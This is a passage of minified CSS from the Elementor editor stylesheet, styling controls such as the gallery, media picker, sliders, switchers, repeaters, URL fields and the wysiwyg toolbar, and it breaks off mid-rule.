.elementor-control-gallery-thumbnail + .unoptimized__image { outline: 2px solid var(--e-a-btn-bg-danger-active); opacity: 0.6; } .elementor-control-type-gallery .elementor-control-gallery-edit { position: absolute; top: 0; bottom: 0; left: 0; right: 0; background-color: rgba(0, 0, 0, 0.2); padding: 10px; font-size: 11px; transition: all 0.3s ease-in-out; pointer-events: none; cursor: pointer; opacity: 0; } .elementor-control-type-gallery .elementor-control-gallery-edit span { position: absolute; top: 10px; left: 10px; width: 21px; height: 21px; color: var(--e-a-color-white); background-color: rgba(0, 0, 0, 0.5); box-shadow: 0 0 7px 0 rgba(0, 0, 0, 0.2); transition: var(--e-a-transition-hover); } .elementor-control-type-gallery .elementor-control-gallery-edit span i { font-size: 11px; padding: 5px; } .elementor-control-type-gallery .elementor-control-gallery-edit span:hover { background-color: rgba(0, 0, 0, 0.6); } .elementor-control-type-gallery .elementor-control-gallery-add { width: 48px; height: 48px; font-size: 14px; } .elementor-control-type-gallery .elementor-control-gallery-add i { margin: 0; } .elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-clear, .elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-thumbnails, .elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-edit { display: none; } .elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-content { padding: 10px; } .elementor-control-type-gallery.elementor-gallery-has-images .elementor-control-gallery-add { display: none; } .elementor-control-type-gallery.elementor-control-dynamic .elementor-control-gallery-clear { border-inline-start: var(--e-a-border); } .elementor-control-type-gallery .elementor-control-gallery-clear { color: currentColor; background-color: transparent; border: none; cursor: pointer; justify-content: center; } .elementor-control-type-gallery .elementor-control-gallery-clear:hover, .elementor-control-type-gallery .elementor-control-gallery-clear:focus { color: var(--e-a-color-danger); } .elementor-control-type-gallery .elementor-control-dynamic-switcher { border-width: 0; border-inline-start-width: 1px; border-block-end-width: 1px; border-radius: 0; } .e-global__popover { width: 288px; z-index: 1; font-size: 12px; padding-inline-start: 10px; } .e-global__popover-toggle { border: var(--e-a-border-bold); border-inline-end: 0; border-start-start-radius: 3px; border-start-end-radius: 0; border-end-start-radius: 3px; border-end-end-radius: 0; display: flex; align-items: center; justify-content: center; cursor: pointer; transition: var(--e-a-transition-hover); } .e-global__popover-toggle:hover { background-color: var(--e-a-bg-hover); } .e-global__popover-toggle--active { color: var(--e-a-color-primary-bold); background-color: var(--e-a-bg-active-bold); } .e-global__popover-container { box-shadow: var(--e-a-popover-shadow); border-radius: var(--e-a-border-radius); background-color: var(--e-a-bg-default); } .e-global__popover-title { padding: 15px 20px; font-weight: 500; border-block-end: var(--e-a-border); display: flex; } .e-global__popover-title > i { margin-inline-end: 5px; } .e-global__popover-title-text { flex-grow: 1; } .e-global__popover-info { margin-inline-end: 10px; display: inline-block; } .e-global__popover-info-tooltip { width: 270px; z-index: 1; background-color: rgba(0, 0, 0, 0.9); color: var(--e-a-color-white); padding: 20px; border-radius: 3px; } .e-global__popover-info-tooltip:after { content: ""; position: absolute; bottom: -17px; right: 16px; border: 10px solid transparent; border-block-start-color: rgba(0, 0, 0, 0.9); } .e-global__popover-info i { font-size: 13px; } .e-global__preview-items-container { max-height: 400px; overflow-y: auto; padding: 5px 0; } .e-global__preview-items-container::-webkit-scrollbar { width: 7px; } .e-global__preview-items-container::-webkit-scrollbar-thumb { background-color: #BABFC5; border-radius: 10px; } .e-global__manage-button { font-weight: 500; cursor: pointer; } .e-global__typography { padding-block: 10px; padding-inline: 35px 20px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } .e-global__typography.e-global__preview-item--selected:before { font-family: "eicons"; font-size: 13px; content: "\e90e"; position: absolute; transform: translateY(-50%); top: 50%; inset-inline-start: 13px; } .e-global__color { padding: 10px 20px; display: flex; align-items: center; } .e-global__color-preview-container { height: 20px; width: 20px; border-radius: 3px; border: 1px solid rgba(0, 0, 0, 0.1); margin-inline-end: 10px; flex-shrink: 0; position: relative; } .e-global__color-preview-color, .e-global__color-preview-transparent-bg { border-radius: 3px; height: 100%; width: 100%; position: absolute; top: 0; left: 0; } .e-global__color-preview-transparent-bg { background-image: linear-gradient(45deg, var(--e-a-border-color-bold) 25%, transparent 0, transparent 75%, var(--e-a-border-color-bold) 0, var(--e-a-border-color-bold)), linear-gradient(45deg, var(--e-a-border-color-bold) 25%, transparent 0, transparent 75%, var(--e-a-border-color-bold) 0, var(--e-a-border-color-bold)); background-size: 12px 12px; background-position: 0 0, calc(12px / 2) calc(12px / 2); } .e-global__color-title { flex-grow: 1; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; padding-inline-end: 10px; } .e-global__color-hex { font-size: 10px; color: var(--e-a-color-txt-muted); } .e-global__color .pcr-button { background-color: var(--e-a-bg-default); } .e-global__color.e-global__preview-item--selected .e-global__color-preview-container { display: flex; justify-content: center; align-items: center; color: var(--e-a-color-white); } .e-global__color.e-global__preview-item--selected .e-global__color-preview-container:before { font-family: "eicons"; font-size: 13px; content: "\e90e"; text-shadow: 0 0 1px #000; z-index: 1; } .e-global__preview-item { cursor: pointer; position: relative; } .e-global__preview-item:hover { background-color: var(--e-a-bg-hover); } .e-global__confirm-delete i, .e-global__confirm-message-text i { color: var(--e-a-color-warning); } .e-global__confirm-input-wrapper { display: flex; align-items: center; border: var(--e-a-border); border-radius: var(--e-a-border-radius); margin: 15px 0; padding: 2px; } .e-global__confirm-input-wrapper input { font-family: var(--e-a-font-family); font-size: 12px; padding: 2px; border: 0; } .e-control-global .elementor-control-input-wrapper { display: flex; justify-content: flex-end; max-width: 135px; width: 100%; } .e-control-global.elementor-control .elementor-control-input-wrapper { display: flex; flex-direction: row; align-items: stretch; } .e-control-global .elementor-control-spinner { margin-inline-end: 4px; } .elementor-control-type-hidden { display: none !important; } .elementor-control-type-icon .select2-selection__rendered .eicon { margin-inline-end: 3px; } .elementor-control-type-image_dimensions .elementor-control-field-description { margin: 0 0 15px; line-height: 1.4; } .elementor-control-type-image_dimensions .elementor-control-input-wrapper { display: flex; align-items: flex-start; } .elementor-control-type-image_dimensions .elementor-image-dimensions-field { width: 65px; } .elementor-control-type-image_dimensions .elementor-image-dimensions-field input:focus + .elementor-image-dimensions-field-description { color: var(--e-a-color-txt); } .elementor-control-type-image_dimensions .elementor-image-dimensions-separator { width: 20px; text-align: center; padding-block-start: 4px; } .elementor-control-type-image_dimensions .elementor-image-dimensions-field-description { display: block; margin-block-start: 5px; color: var(--e-a-color-txt-disabled); font-size: 10px; text-align: center; } .elementor-control-type-image_dimensions .elementor-image-dimensions-apply-button { margin-inline-start: auto; } .elementor-control-media.e-media-empty .elementor-control-media-area .elementor-control-media__remove, .elementor-control-media.e-media-empty .elementor-control-media-area .elementor-control-media__content__remove { display: none; } .elementor-control-media.e-media-empty-placeholder .e-control-image-size { display: none; } .elementor-control-media:not(.e-media-empty) .elementor-control-media__content__upload-button { display: none; } .elementor-control-media .eicon-plus-circle { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: var(--e-a-color-white); font-size: 20px; } .elementor-control-media__content__upload-button { background-color: var(--e-a-bg-active-bold); } .elementor-control-media__preview { height: 100%; background-size: cover; background-position: center; padding-block-end: 42.8571%; } .elementor-control-media-area { background-image: linear-gradient(45deg, var(--e-a-border-color-bold) 25%, transparent 0, transparent 75%, var(--e-a-border-color-bold) 0, var(--e-a-border-color-bold)), linear-gradient(45deg, var(--e-a-border-color-bold) 25%, transparent 0, transparent 75%, var(--e-a-border-color-bold) 0, var(--e-a-border-color-bold)); background-size: 16px 16px; background-position: 0 0, calc(16px / 2) calc(16px / 2); background-color: var(--e-a-bg-default); border: var(--e-a-border-bold); aspect-ratio: 21/9; } .elementor-control-media-area:not(:hover) .elementor-control-media__remove { display: none; } .elementor-control-media-area .eicon-video-camera { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: rgba(255, 255, 255, 0.7); font-size: 21px; } .elementor-control-media .elementor-control-media__content { aspect-ratio: 21/9; position: relative; cursor: pointer; overflow: hidden; } .elementor-control-media .elementor-control-media__content:hover:after { content: ""; position: absolute; top: 0; bottom: 0; left: 0; right: 0; background-color: rgba(0, 0, 0, 0.2); pointer-events: none; } .elementor-control-media .elementor-control-media__content:not(:hover) .elementor-control-media__tools { bottom: -30px; } .elementor-control-media__content { transition: all 0.2s ease-in-out; } .elementor-control-media__tools { position: absolute; bottom: 0; left: 0; right: 0; height: 27px; transition: all 0.2s ease-in-out; } .elementor-control-media__tools > *:not(:first-child) { margin-inline-start: 1px; } .elementor-control-media__tool { display: flex; align-items: center; justify-content: center; flex-grow: 1; color: var(--e-a-color-white); background-color: rgba(0, 0, 0, 0.9); font-size: 11px; transition: var(--e-a-transition-hover); } .elementor-control-media__tool:hover { background-color: rgba(0, 0, 0, 0.8); } .elementor-control-media__remove { display: flex; align-items: center; justify-content: center; transition: all 0.3s ease-in-out; } .elementor-control-media__content__remove { position: absolute; z-index: 1; top: 10px; left: 10px; width: 20px; height: 20px; font-size: 11px; color: var(--e-a-color-white); background-color: rgba(0, 0, 0, 0.5); border-radius: var(--e-border-radius); box-shadow: 0 0 7px 0 rgba(0, 0, 0, 0.2); transition: var(--e-a-transition-hover); } .elementor-control-media__content__remove:hover { background-color: rgba(0, 0, 0, 0.6); } .elementor-control-media.e-media-empty .elementor-control-file-area { display: none; } .elementor-control-media__warnings:empty { display: none; } .elementor-control-media__warnings:not(:empty) { margin-block-start: 10px; } .elementor-control-media__file { display: flex; justify-content: space-between; align-items: center; width: 100%; margin-block-start: 10px; border: var(--e-a-border); } .elementor-control-media__file__content { padding-inline-start: 5px; font-size: 12px; } .elementor-control-media__file__content__label { color: #9DA5AE; } .elementor-control-media__file__content__info { display: flex; align-items: center; font-weight: 500; } .elementor-control-media__file__content__info__icon { margin-inline-end: 5px; } .elementor-control-media__file__controls { display: flex; border-inline-start: var(--e-a-border); } .elementor-control-media__file__controls__upload-button, .elementor-control-media__file__controls__remove { width: 27px; height: 27px; cursor: pointer; align-items: center; } .elementor-control-media__file__controls__upload-button { display: flex; justify-content: center; } .elementor-control-media__file__controls__remove { border-inline-end: var(--e-a-border); } .elementor-control-media:not(.e-media-empty) .elementor-control-media__file__content__label { display: none; } .elementor-control-media.e-media-empty .elementor-control-media__file__content__info { display: none; } .elementor-control-media.e-media-empty .elementor-control-media__file__controls__remove { display: none; } .elementor-control-media .elementor-control-dynamic-switcher { border: none; border-radius: 0; background-color: rgba(0, 0, 0, 0.9); color: var(--e-a-color-white); } .elementor-control-media .elementor-control-dynamic-switcher:hover { background-color: rgba(0, 0, 0, 0.8); color: var(--e-a-color-white); } .elementor-control-media .e-control-image-size { display: flex; flex-direction: column; width: 100%; padding-block-start: 20px; } .elementor-control-media .e-control-image-size .elementor-control-input-wrapper { margin-inline-start: auto; } .elementor-control-type-media.elementor-control-dynamic-value .elementor-control-input-wrapper { border: none; } .elementor-control:not(.elementor-control-type-icons) .elementor-control-media__preview { background-color: var(--e-a-bg-active-bold); } .elementor-control-notice { display: flex; justify-content: flex-start; align-items: flex-start; gap: 8px; padding: 16px; border-radius: 3px; border: 1px solid var(--notice-control-color, var(--e-a-color-txt)); color: var(--e-a-color-txt); font-size: 12px; font-weight: 400; line-height: 1.5; text-align: start; margin-block-start: 10px; } .elementor-control-notice-type-info { --notice-control-color: var(--e-a-color-info); } .elementor-control-notice-type-success { --notice-control-color: var(--e-a-color-success); } .elementor-control-notice-type-warning { --notice-control-color: var(--e-a-color-warning); } .elementor-control-notice-type-danger { --notice-control-color: var(--e-a-color-danger); } .elementor-control-notice-icon { flex-basis: 18px; color: var(--notice-control-color); } .elementor-control-notice-main { display: flex; flex-direction: column; justify-content: flex-start; align-items: flex-start; gap: 6px; flex: 1; } .elementor-control-notice-main-heading { font-weight: 700; font-style: italic; } .elementor-control-notice-main-content { font-style: italic; line-height: 1.5; } .elementor-control-notice-main-actions { display: flex; gap: 10px; padding-block-start: 8px; } .elementor-control-notice-main a { color: inherit; font-weight: 700; cursor: pointer; } .elementor-control-notice-main a:hover, .elementor-control-notice-main a:focus { color: inherit; } .elementor-control-notice-dismiss { -webkit-appearance: none; -moz-appearance: none; appearance: none; background-color: transparent; border: 0; padding: 0; margin: 0; cursor: pointer; } .elementor-control-type-popover_toggle input { display: none; } .elementor-control-type-popover_toggle label { cursor: pointer; } .elementor-control-type-popover_toggle .elementor-control-input-wrapper { display: flex; flex-direction: row-reverse; align-items: center; } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle:checked + .elementor-control-popover-toggle-toggle-label { color: var(--e-a-color-txt-active); background-color: var(--e-a-bg-active-bold); } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle:not(:checked) ~ .elementor-control-popover-toggle-reset-label { display: none; } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle-label { height: 27px; display: inline-flex; align-items: center; justify-content: center; border-radius: var(--e-a-border-radius); border: var(--e-a-border-bold); transition: var(--e-a-transition-hover); } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle-label:hover { background-color: var(--e-a-bg-hover); } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-reset-label { color: var(--e-a-color-txt-muted); margin-inline-end: 5px; } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-reset-label:hover { color: var(--e-a-color-txt); } .elementor-controls-popover.e-controls-popover--typography { padding-block-start: 0; } .e-control-global .elementor-control-popover-toggle-toggle-label { border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; border-end-end-radius: var(--e-a-border-radius); flex-shrink: 0; } .elementor-control-type-repeater .elementor-control:not(.elementor-control-type-tab) { padding-inline-start: 10px; padding-inline-end: 10px; padding-block-end: 10px; } .elementor-control-type-repeater.elementor-repeater-has-minimum-rows .elementor-repeater-tool-remove { display: none; } .elementor-control-type-repeater.elementor-repeater-has-maximum-rows .elementor-repeater-tool-duplicate, .elementor-control-type-repeater.elementor-repeater-has-maximum-rows .elementor-repeater-add { display: none; } .elementor-control-type-repeater .elementor-repeater-fields { margin: 10px 0; } .elementor-control-type-repeater .elementor-repeater-row-controls { border: var(--e-a-border-bold); border-block-start-width: 0; padding-block-start: 15px; } .elementor-control-type-repeater .elementor-repeater-row-controls:not(.editable) { display: none; } .elementor-control-type-repeater .elementor-repeater-row-tools { display: flex; align-items: center; width: 100%; border: 1px solid var(--e-a-border-color-bold); transition: var(--e-a-transition-hover); } .elementor-control-type-repeater .elementor-repeater-row-tools > button { display: flex; align-items: center; justify-content: center; height: 40px; border: none; background-color: transparent; color: currentColor; cursor: pointer; } .elementor-control-type-repeater .elementor-repeater-row-tools > button:hover, .elementor-control-type-repeater .elementor-repeater-row-tools > button:focus { background-color: var(--e-a-bg-hover); } .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title { flex: 1; justify-content: flex-start; padding: 0 10px; font-size: var(--control-title-size); white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title .eicon, .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title i, .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title svg { margin-inline-end: 5px; } .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title img[src$=svg] { width: 1em; } .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-tool { width: 40px; border-inline-start: 1px solid var(--e-a-border-color-bold); } .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-handle-sortable { width: 10px; border-inline-end: 1px solid var(--e-a-border-color-bold); cursor: move; } .elementor-control-type-repeater .elementor-button-wrapper { text-align: center; padding-block-start: 5px; } #elementor-controls { padding-block-start: 15px; } .elementor-control-type-section { padding: 0; } .elementor-control-type-section.e-open { padding-block-end: 10px; } .elementor-control-type-section + .elementor-control:not(.elementor-control-type-section):before { display: none; } .elementor-control-type-section:not(:first-child):not(.elementor-control-type-section + .elementor-control-type-section) { margin-block-start: 25px; } .elementor-control-type-select .elementor-control-input-wrapper { position: relative; } .elementor-control-type-select .elementor-control-input-wrapper select { -webkit-appearance: none; -moz-appearance: none; appearance: none; font-size: var(--control-title-size); font-family: inherit; font-weight: inherit; font-style: inherit; text-transform: inherit; letter-spacing: inherit; line-height: inherit; flex-basis: 100%; padding-inline-start: 5px; padding-inline-end: 20px; cursor: pointer; } .elementor-control-type-select .elementor-control-input-wrapper select.e-select-placeholder { color: var(--e-a-color-txt-disabled); } .elementor-control-type-select .elementor-control-input-wrapper option.e-option-placeholder { display: none; } .elementor-control-type-select .elementor-control-input-wrapper:after { font-family: eicons; content: "\e8ad"; font-size: 12px; position: absolute; top: 50%; transform: translateY(-50%); left: 5px; pointer-events: none; } .elementor-control-type-select .elementor-control-field.elementor-control-field-select-small .elementor-control-input-wrapper { max-width: 80px; } .elementor-shadow-box .elementor-shadow-slider { margin-block-start: 10px; } .elementor-shadow-box .elementor-color-picker-wrapper .elementor-control-title { flex-grow: 1; } .elementor-control-type-slider.elementor-control-dynamic input { border-start-start-radius: var(--e-a-border-radius); border-start-end-radius: 0; border-end-start-radius: var(--e-a-border-radius); border-end-end-radius: 0; } .elementor-control-type-slider .elementor-control-unit-2 { width: 21%; } .elementor-control-type-slider.elementor-control-type-slider--multiple .elementor-control-input-wrapper { display: block; } .elementor-control-type-slider--multiple { padding-block-end: 40px; } .elementor-control-type-slider--multiple .elementor-slider { margin-block-start: 12px; width: 98%; } .elementor-control-type-slider--handles-range .elementor-slider .noUi-handle { border-radius: 0; width: 10px; transform: translateY(calc(50% - 14px)) translateX(-4px); } .elementor-control-type-slider--handles-range .elementor-slider .noUi-handle:after { content: ""; position: absolute; top: 2px; height: 12px; width: 11px; transform: rotate(45deg); background-color: var(--e-a-color-white); border-radius: 3px; } .elementor-control-type-slider--handles-range .elementor-slider .noUi-handle-lower:after { left: 5px; box-shadow: 2px -2px 3px 0px rgba(0, 0, 0, 0.1); } .elementor-control-type-slider--handles-range .elementor-slider .noUi-handle-upper:after { right: 5px; box-shadow: -2px 2px 3px 0px rgba(0, 0, 0, 0.1); } .elementor-control-type-slider .elementor-control-dynamic-switcher { border-inline-start-width: 0; border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; border-end-end-radius: var(--e-a-border-radius); } .elementor-control-type-slider .elementor-control-input-wrapper { display: flex; align-items: center; } .elementor-control-type-slider .elementor-dynamic-cover { margin-block-start: 10px; } .elementor-control-type-slider.e-units-custom .elementor-slider { display: none; } .elementor-control-type-slider.e-units-custom .elementor-slider-input { width: 100%; margin: 0; transition: none; } .elementor-slider { flex-grow: 1; height: 4px; background-color: var(--e-a-border-color-bold); border-radius: 5px; position: relative; cursor: pointer; } .elementor-slider-input { width: 21%; min-width: 54px; margin-inline-start: 12px; transition: width 0.3s ease-in-out; } .elementor-slider__extra { position: relative; } .elementor-slider__labels { display: flex; justify-content: space-between; } .elementor-slider__label { font-size: 9px; color: var(--e-a-color-txt-disabled); } .elementor-slider__scales { position: absolute; display: flex; justify-content: space-evenly; width: 100%; margin-block-start: 4px; } .elementor-slider__scale { width: 1px; height: 21px; background-color: var(--e-a-border-color-focus); } .elementor-slider .noUi-handle { height: 16px; width: 16px; background-color: var(--e-a-color-white); left: 0; transform: translateY(calc(50% - 14px)) translateX(-8px); position: absolute; box-shadow: 0 1px 5px rgba(0, 0, 0, 0.3); border-radius: 50%; } .elementor-slider .noUi-connects { position: absolute; width: 100%; height: 4px; } .elementor-slider .noUi-connect { position: absolute; z-index: 0; top: 0; left: 0; height: 100%; width: 100%; will-change: transform; transform-origin: 0 0; background-color: var(--e-a-border-color-focus); } .elementor-slider .noUi-tooltip { position: absolute; top: calc(100% + 5px); left: calc(50% - 4px); transform: translateX(-50%); font-size: 10px; } .elementor-control-type-structure .elementor-control-field { display: initial; } .elementor-control-type-structure .elementor-control-structure-preset { padding: 3px; border-radius: var(--e-border-radius); display: inline-block; cursor: pointer; height: 50px; } .elementor-control-type-structure .elementor-control-structure-preset svg { height: 100%; } .elementor-control-type-structure .elementor-control-structure-preset path { fill: var(--e-a-border-color-bold); } .elementor-control-type-structure .elementor-control-structure-reset { padding: 15px 20px 0; font-size: 11px; cursor: pointer; color: var(--e-a-color-txt-muted); border-block-start: var(--e-a-border); margin: 0 -20px; } .elementor-control-type-structure .elementor-control-structure-reset:hover { color: var(--e-a-color-txt); } .elementor-control-type-structure .elementor-control-structure-title { margin: 10px -20px 0; } .elementor-control-type-structure .elementor-control-structure-title:before { height: 10px; box-shadow: inset 0 2px 4px rgba(127, 127, 127, 0.1); } .elementor-control-type-structure .elementor-control-structure-presets { display: flex; flex-wrap: wrap; justify-content: space-between; } .elementor-control-type-structure .elementor-control-structure-presets input { display: none; } .elementor-control-type-structure .elementor-control-structure-presets input:checked + .elementor-control-structure-preset path { fill: var(--e-a-border-color-focus); } .elementor-control-type-structure .elementor-control-structure-preset-wrapper { margin-block-end: 15px; } .elementor-control-type-structure .elementor-control-structure-preset-title { text-align: center; padding-block-start: 5px; font-style: italic; font-size: 11px; color: #9DA5AE; } .elementor-control-type-switcher .elementor-control-input-wrapper { text-align: end; } .elementor-control-type-switcher .elementor-switch { position: relative; display: inline-block; vertical-align: top; height: 20px; background-color: var(--e-a-bg-default); border-radius: 18px; cursor: pointer; } .elementor-control-type-switcher .elementor-switch-input { display: none; } .elementor-control-type-switcher .elementor-switch-label { position: relative; display: block; height: inherit; font-size: 10px; background: var(--e-a-bg-active-bold); border-radius: inherit; transition: 0.15s ease-out; transition-property: opacity, background; } .elementor-control-type-switcher .elementor-switch-label:before, .elementor-control-type-switcher .elementor-switch-label:after { position: absolute; top: 0; width: 50%; text-align: center; line-height: 20px; transition: inherit; } .elementor-control-type-switcher .elementor-switch-label:before { content: attr(data-off); right: 5px; color: var(--e-a-color-txt-muted); } .elementor-control-type-switcher .elementor-switch-label:after { content: attr(data-on); left: 5px; color: var(--e-a-btn-color); opacity: 0; } .elementor-control-type-switcher .elementor-switch-input:checked ~ .elementor-switch-label { background: var(--e-a-btn-bg-primary); } .elementor-control-type-switcher .elementor-switch-input:checked ~ .elementor-switch-label:before { opacity: 0; } .elementor-control-type-switcher .elementor-switch-input:checked ~ .elementor-switch-label:after { opacity: 1; } .elementor-control-type-switcher .elementor-switch-handle { position: absolute; top: 1px; left: 1px; width: 18px; height: 18px; background: white; border-radius: 10px; transition: left 0.15s ease-out; } .elementor-control-type-switcher .elementor-switch-input:checked ~ .elementor-switch-handle { left: initial; right: 1px; } .elementor-control-type-tabs { display: flex; font-size: var(--control-title-size); } .elementor-control-type-tab { text-align: center; width: 100%; padding: 0; line-height: 25px; border-block-start: var(--e-a-border-bold); border-block-end: var(--e-a-border-bold); border-inline-end: var(--e-a-border-bold); transition: var(--e-a-transition-hover); cursor: pointer; } .elementor-control-type-tab:first-child { border-inline-start: var(--e-a-border-bold); border-start-start-radius: var(--e-a-border-radius); border-end-start-radius: var(--e-a-border-radius); } .elementor-control-type-tab:last-child { border-start-end-radius: var(--e-a-border-radius); border-end-end-radius: var(--e-a-border-radius); } .elementor-control-type-tab:hover { background-color: var(--e-a-bg-hover); } .elementor-control-type-tab.e-tab-active { background-color: var(--e-a-bg-active-bold); color: var(--e-a-color-txt-accent); } .e-tab-close { display: none !important; } .elementor-control-type-textarea .elementor-control-dynamic-switcher, .elementor-control-type-code .elementor-control-dynamic-switcher { border-inline-start-width: 1px; border-start-start-radius: 0; border-start-end-radius: 0; border-end-end-radius: 0; border-end-start-radius: var(--e-a-border-radius); } .elementor-control-type-textarea:not(.elementor-control-dynamic-value) .elementor-control-dynamic-switcher, .elementor-control-type-code:not(.elementor-control-dynamic-value) .elementor-control-dynamic-switcher { position: absolute; top: 0; left: 0; z-index: 1; } .elementor-control-type-textarea .elementor-control-input-wrapper, .elementor-control-type-code .elementor-control-input-wrapper { position: relative; } .elementor-control-type-textarea textarea, .elementor-control-type-code textarea { display: block; font-family: inherit; } .elementor-control-type-textarea textarea:focus + .elementor-control-dynamic-switcher, .elementor-control-type-code textarea:focus + .elementor-control-dynamic-switcher { display: none; } .elementor-control-type-textarea pre:focus-within + .elementor-control-dynamic-switcher, .elementor-control-type-code pre:focus-within + .elementor-control-dynamic-switcher { display: none; } .elementor-control-type-url .elementor-control-field { position: relative; } .elementor-control-type-url .elementor-control-input-wrapper { display: flex; } .elementor-control-type-url.elementor-control-dynamic .elementor-control-url-more-options input { border-radius: var(--e-a-border-radius); } .elementor-control-type-url.elementor-control-dynamic-value .e-input-style { border-start-end-radius: 0; border-end-end-radius: 0; } .elementor-control-type-url.elementor-control-dynamic-value .elementor-control-url-more { border-start-end-radius: var(--e-a-border-radius); border-end-end-radius: var(--e-a-border-radius); } .elementor-control-type-url .elementor-control-url-more { display: flex; align-items: center; justify-content: center; flex-shrink: 0; border: var(--e-a-border-bold); color: currentColor; background-color: transparent; border-inline-start-width: 0; cursor: pointer; } .elementor-control-type-url .elementor-control-url-more i { font-size: 12px; } .elementor-control-type-url .elementor-control-url-more-options { display: none; padding-block-start: 10px; } .elementor-control-type-url .elementor-control-url-more-options .elementor-control-field-description { margin-block-start: 10px; } .elementor-control-type-url .elementor-control-url-more:hover { color: var(--e-a-color-txt-hover); } .elementor-control-type-url .elementor-control-url-more:focus { color: var(--e-a-color-txt-active); border-color: var(--e-a-border-color-focus); } .elementor-control-type-url .elementor-control-url-option { display: flex; align-items: center; } .elementor-control-type-url .elementor-control-url-option:not(:last-child) { padding-block-end: 10px; } .elementor-control-type-url .elementor-control-url-option input, .elementor-control-type-url .elementor-control-url-option label { cursor: pointer; } .elementor-control-type-url .elementor-control-url-autocomplete-spinner { display: none; position: absolute; top: 5px; right: 0; width: 10px; height: 10px; font-size: 10px; color: var(--e-a-color-txt-disabled); } .elementor-control-type-url .elementor-control-url__custom-attributes label { font-size: var(--control-title-size); } .elementor-control-type-url .elementor-control-url__custom-attributes input { width: 100%; margin-block-start: 10px; } .elementor-control-type-url .elementor-input:focus ~ div { border-color: var(--e-a-border-color-focus); } .elementor-autocomplete-menu { position: absolute; background: var(--e-a-bg-default); border: var(--e-a-border); margin: 0; list-style: none; padding: 4px 0; height: auto; width: 100%; min-width: 260px; max-width: 300px; max-height: 200px; overflow-y: auto; border-radius: 3px; transition: var(--e-a-transition-hover); cursor: default; z-index: 1; } .elementor-autocomplete-menu .ui-menu-item { display: flex; justify-content: space-between; align-self: baseline; padding: 5px 8px; font-size: 12px; width: 100%; line-height: 1.2; cursor: pointer; } .elementor-autocomplete-menu .ui-menu-item.ui-state-hover, .elementor-autocomplete-menu .ui-menu-item.ui-state-active, .elementor-autocomplete-menu .ui-menu-item.ui-state-focus { background: var(--e-a-bg-hover); } .elementor-autocomplete-menu .elementor-autocomplete-item-info { font-size: 10px; padding-block-start: 2px; } .elementor-control-type-wp_widget .widget-inside { line-height: 2; background-color: inherit; display: block; } .elementor-control-type-wp_widget .quicktags-toolbar input { width: auto; } .elementor-control-type-wysiwyg * { box-sizing: content-box; } .elementor-control-type-wysiwyg .wp-editor-container { border: var(--e-a-border); } .elementor-control-type-wysiwyg .wp-editor-tabs { border: var(--e-a-border-bold); border-block-end: none; border-start-start-radius: var(--e-a-border-radius); border-start-end-radius: var(--e-a-border-radius); border-end-end-radius: 0; border-end-start-radius: 0; } .elementor-control-type-wysiwyg .wp-editor-tabs button:hover { background-color: var(--e-a-bg-hover); } .elementor-control-type-wysiwyg #insert-media-button { height: initial; line-height: 24px; font-size: 10px; color: var(--e-a-color-txt); border-color: var(--e-a-border-color-bold); background-color: var(--e-a-bg-default); min-height: initial; } .elementor-control-type-wysiwyg .ed_button { height: 22px; width: initial; } .elementor-control-type-wysiwyg .wp-media-buttons-icon { height: 14px; margin: 0; } .elementor-control-type-wysiwyg .wp-media-buttons-icon:before { font-size: 14px; } .elementor-control-type-wysiwyg .wp-switch-editor { position: static; border: none; margin: 0; color: var(--e-a-color-txt); font-size: 10px; padding: 3px 9px 4px; } .elementor-control-type-wysiwyg .switch-html { border: solid var(--e-a-border-color-bold); border-width: 0 1px; } .elementor-control-type-wysiwyg .html-active .switch-tmce { background-color: transparent; } .elementor-control-type-wysiwyg .html-active .switch-html { background-color: var(--e-a-bg-active); } .elementor-control-type-wysiwyg .tmce-active .switch-tmce { background-color: var(--e-a-bg-active); } .elementor-control-type-wysiwyg .tmce-active .switch-html { background-color: transparent; } .elementor-control-type-wysiwyg .mce-toolbar-grp, .elementor-control-type-wysiwyg .quicktags-toolbar { background-color: var(--e-a-bg-default); } .elementor-control-type-wysiwyg .mce-toolbar .mce-btn-group .mce-btn.mce-listbox { background-color: var(--e-a-bg-default); } .elementor-control-type-wysiwyg .mce-toolbar .mce-btn-group .mce-btn.mce-listbox button { color: var(--e-a-color-txt); } .elementor-control-type-wysiwyg .mce-toolbar-grp > div { padding: 0 3px; } .elementor-control-type-wysiwyg .elementor-wp-editor { box-sizing: border-box; } .elementor-control-type-wysiwyg .mce-ico { color: var(--e-a-color-txt); font-size: 16px; } .elementor-control-type-wysiwyg .mce-btn-group .mce-btn:hover, .elementor-control-type-wysiwyg .mce-btn-group .mce-btn:active, .elementor-control-type-wysiwyg .mce-btn-group .mce-btn.mce-active { color: var(--e-a-color-txt-active); background: var(--e-a-bg-hover); border-color: var(--e-a-border-color); box-shadow: none; } .elementor-control-type-wysiwyg .mce-btn-group .mce-btn:hover i, .elementor-control-type-wysiwyg .mce-btn-group .mce-btn:active i, .elementor-control-type-wysiwyg .mce-btn-group .mce-btn.mce-active i { color: var(--e-a-color-txt-active); } .elementor-control-type-wysiwyg .mce-path { padding: 5px 10px; } .elementor-control-type-wysiwyg .mce-path-item { font-size: 